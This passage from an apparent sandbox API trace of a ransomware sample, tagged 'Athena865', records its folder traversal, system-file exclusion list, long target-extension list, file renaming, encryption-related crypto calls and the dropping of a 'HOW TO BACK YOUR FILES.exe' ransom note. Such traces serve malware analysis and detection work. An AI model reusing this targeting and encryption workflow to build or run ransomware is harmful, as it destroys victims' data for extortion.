[0098.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0098.460] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.460] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0098.460] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.460] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.460] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".") returned 1 [0098.460] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="..") returned 1 [0098.460] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="windows") returned -1 [0098.460] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="bootmgr") returned 1 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="temp") returned 1 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="pagefile.sys") returned 1 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="boot") returned 1 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="ids.txt") returned 1 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="ntuser.dat") returned 1 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="perflogs") returned 1 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2="MSBuild") returned 1 [0098.461] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0098.461] lstrcpyW (in: lpString1=0x241e8d0, lpString2="vcredist_x86.exe" | out: lpString1="vcredist_x86.exe") returned="vcredist_x86.exe" [0098.461] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0098.461] lstrlenW (lpString="Athena865") returned 9 [0098.461] lstrcmpiW (lpString1="t_x86.exe", lpString2="Athena865") returned 1 [0098.461] lstrlenW (lpString=".dll") returned 4 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".dll") returned 1 [0098.461] lstrlenW (lpString=".lnk") returned 4 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".lnk") returned 1 [0098.461] lstrlenW (lpString=".ini") returned 4 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".ini") returned 1 [0098.461] lstrlenW (lpString=".sys") returned 4 [0098.461] lstrcmpiW (lpString1="vcredist_x86.exe", lpString2=".sys") returned 1 [0098.461] lstrlenW (lpString="vcredist_x86.exe") returned 16 [0098.461] lstrlenW (lpString="bak") returned 3 [0098.461] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0098.461] lstrlenW (lpString="ba_") returned 3 [0098.461] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0098.461] lstrlenW (lpString="dbb") returned 3 [0098.461] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0098.461] lstrlenW (lpString="vmdk") returned 4 [0098.461] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0098.462] lstrlenW (lpString="rar") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0098.462] lstrlenW (lpString="zip") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0098.462] lstrlenW (lpString="tgz") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0098.462] lstrlenW (lpString="vbox") returned 4 [0098.462] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0098.462] lstrlenW (lpString="vdi") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0098.462] lstrlenW (lpString="vhd") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0098.462] lstrlenW (lpString="vhdx") returned 4 [0098.462] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0098.462] lstrlenW (lpString="avhd") returned 4 [0098.462] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0098.462] lstrlenW (lpString="db") returned 2 [0098.462] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0098.462] lstrlenW (lpString="db2") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0098.462] lstrlenW (lpString="db3") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0098.462] lstrlenW (lpString="dbf") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0098.462] lstrlenW (lpString="mdf") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0098.462] lstrlenW (lpString="mdb") returned 3 [0098.462] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0098.462] lstrlenW (lpString="sql") returned 3 [0098.463] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0098.463] lstrlenW (lpString="sqlite") returned 6 [0098.463] lstrcmpiW (lpString1="86.exe", lpString2="sqlite") returned -1 [0098.463] lstrlenW (lpString="sqlite3") returned 7 [0098.463] lstrcmpiW (lpString1="x86.exe", lpString2="sqlite3") returned 1 [0098.463] lstrlenW (lpString="sqlitedb") returned 8 [0098.463] lstrcmpiW (lpString1="_x86.exe", lpString2="sqlitedb") returned -1 [0098.463] lstrlenW (lpString="xml") returned 3 [0098.463] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0098.463] lstrlenW (lpString="$er") returned 3 [0098.463] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0098.463] lstrlenW (lpString="4dd") returned 3 [0098.463] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0098.463] lstrlenW (lpString="4dl") returned 3 [0098.463] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0098.463] lstrlenW (lpString="^^^") returned 3 [0098.463] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0098.463] lstrlenW (lpString="abs") returned 3 [0098.463] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0098.463] lstrlenW (lpString="abx") returned 3 [0098.463] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0098.463] lstrlenW (lpString="accdb") returned 5 [0098.463] lstrcmpiW (lpString1="6.exe", lpString2="accdb") returned -1 [0098.463] lstrlenW (lpString="accdc") returned 5 [0098.463] lstrcmpiW (lpString1="6.exe", lpString2="accdc") returned -1 [0098.463] lstrlenW (lpString="accde") returned 5 [0098.463] lstrcmpiW (lpString1="6.exe", lpString2="accde") returned -1 [0098.463] lstrlenW (lpString="accdr") returned 5 [0098.463] lstrcmpiW (lpString1="6.exe", lpString2="accdr") returned -1 [0098.463] lstrlenW (lpString="accdt") returned 5 [0098.464] lstrcmpiW (lpString1="6.exe", lpString2="accdt") returned -1 [0098.464] lstrlenW (lpString="accdw") returned 5 [0098.464] lstrcmpiW (lpString1="6.exe", lpString2="accdw") returned -1 [0098.464] lstrlenW (lpString="accft") returned 5 [0098.464] lstrcmpiW (lpString1="6.exe", lpString2="accft") returned -1 [0098.464] lstrlenW (lpString="adb") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0098.464] lstrlenW (lpString="adb") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0098.464] lstrlenW (lpString="ade") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0098.464] lstrlenW (lpString="adf") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0098.464] lstrlenW (lpString="adn") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0098.464] lstrlenW (lpString="adp") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0098.464] lstrlenW (lpString="alf") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0098.464] lstrlenW (lpString="ask") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0098.464] lstrlenW (lpString="btr") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0098.464] lstrlenW (lpString="cat") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0098.464] lstrlenW (lpString="cdb") returned 3 [0098.464] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0098.464] lstrlenW (lpString="ckp") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0098.465] lstrlenW (lpString="cma") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0098.465] lstrlenW (lpString="cpd") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0098.465] lstrlenW (lpString="dacpac") returned 6 [0098.465] lstrcmpiW (lpString1="86.exe", lpString2="dacpac") returned -1 [0098.465] lstrlenW (lpString="dad") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0098.465] lstrlenW (lpString="dadiagrams") returned 10 [0098.465] lstrcmpiW (lpString1="st_x86.exe", lpString2="dadiagrams") returned 1 [0098.465] lstrlenW (lpString="daschema") returned 8 [0098.465] lstrcmpiW (lpString1="_x86.exe", lpString2="daschema") returned -1 [0098.465] lstrlenW (lpString="db-journal") returned 10 [0098.465] lstrcmpiW (lpString1="st_x86.exe", lpString2="db-journal") returned 1 [0098.465] lstrlenW (lpString="db-shm") returned 6 [0098.465] lstrcmpiW (lpString1="86.exe", lpString2="db-shm") returned -1 [0098.465] lstrlenW (lpString="db-wal") returned 6 [0098.465] lstrcmpiW (lpString1="86.exe", lpString2="db-wal") returned -1 [0098.465] lstrlenW (lpString="dbc") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0098.465] lstrlenW (lpString="dbs") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0098.465] lstrlenW (lpString="dbt") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0098.465] lstrlenW (lpString="dbv") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0098.465] lstrlenW (lpString="dbx") returned 3 [0098.465] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0098.465] lstrlenW (lpString="dcb") returned 3 [0098.466] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0098.466] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0098.466] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0098.466] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0098.466] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.Athena865") returned 94 [0098.466] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.athena865"), dwFlags=0x1) returned 1 [0098.467] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.Athena865" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0098.467] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=455720) returned 1 [0098.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0098.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0098.467] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0098.467] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0098.468] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0098.468] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.468] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6f730, lpName=0x0) returned 0x17c [0098.471] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6f730) returned 0x2d50000 [0098.498] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0098.498] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0098.499] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0098.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0098.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0098.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53ee88 [0098.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0098.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ee88 | out: hHeap=0x4f0000) returned 1 [0098.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0098.499] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53ee88 [0098.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0098.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ee88 | out: hHeap=0x4f0000) returned 1 [0098.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0098.500] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0098.505] CloseHandle (hObject=0x17c) returned 1 [0098.505] CloseHandle (hObject=0x154) returned 1 [0098.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0098.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0098.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0098.507] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0b340, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xecd0b340, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd3ea4f80, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0098.507] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.507] ReleaseMutex (hMutex=0xec) returned 1 [0098.507] CloseHandle (hObject=0xec) returned 1 [0098.507] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0098.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522060 | out: hHeap=0x4f0000) returned 1 [0098.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ac50 | out: hHeap=0x4f0000) returned 1 [0098.507] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned 78 [0098.507] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\E68FFCFE7985B961E8029A7538320C63") returned 0xec [0098.507] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.507] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" | out: lpString1="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030") returned="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030" [0098.507] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.508] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.508] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.508] GetLastError () returned 0x0 [0098.508] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ee88 [0098.508] ReadFile (in: hFile=0xf4, lpBuffer=0x53ee88, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ee88*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0098.510] CloseHandle (hObject=0xf4) returned 1 [0098.510] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ee88 | out: hHeap=0x4f0000) returned 1 [0098.510] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0098.510] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5295d0 [0098.510] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.510] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.510] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0098.510] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc4ba21c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0098.510] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0098.510] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0098.510] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0098.510] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0098.510] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ba21c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc4ba21c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0098.510] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0098.510] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0098.510] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0098.510] lstrcmpiW (lpString1="packages", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0098.510] lstrcmpiW (lpString1="packages", lpString2=".") returned 1 [0098.510] lstrcmpiW (lpString1="packages", lpString2="..") returned 1 [0098.510] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1 [0098.510] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1 [0098.510] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1 [0098.511] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1 [0098.511] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1 [0098.511] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1 [0098.511] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1 [0098.511] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1 [0098.511] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1 [0098.511] lstrlenW (lpString="packages") returned 8 [0098.511] lstrcpyW (in: lpString1=0x241e8e6, lpString2="packages" | out: lpString1="packages") returned="packages" [0098.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50ac50 [0098.511] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xb0) returned 0x53ee88 [0098.511] lstrcatW (in: lpString1="packages", lpString2="\\" | out: lpString1="packages\\") returned="packages\\" [0098.511] lstrcatW (in: lpString1="packages\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="packages\\HOW TO BACK YOUR FILES.exe") returned="packages\\HOW TO BACK YOUR FILES.exe" [0098.511] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\how to back your files.exe"), bFailIfExists=1) returned 1 [0098.513] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabe4080, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabe4080, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabe4080, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0098.513] FindClose (in: hFindFile=0x5295d0 | out: hFindFile=0x5295d0) returned 1 [0098.513] ReleaseMutex (hMutex=0xec) returned 1 [0098.513] CloseHandle (hObject=0xec) returned 1 [0098.514] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0098.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0098.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ac68 | out: hHeap=0x4f0000) returned 1 [0098.514] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned 67 [0098.514] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\30F41B444C7A4D805C41537832731566") returned 0xec [0098.514] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0098.514] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" | out: lpString1="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}") returned="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}" [0098.514] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0098.514] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), bFailIfExists=1) returned 0 [0098.514] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0098.515] GetLastError () returned 0x0 [0098.515] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0098.515] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ef40 [0098.515] ReadFile 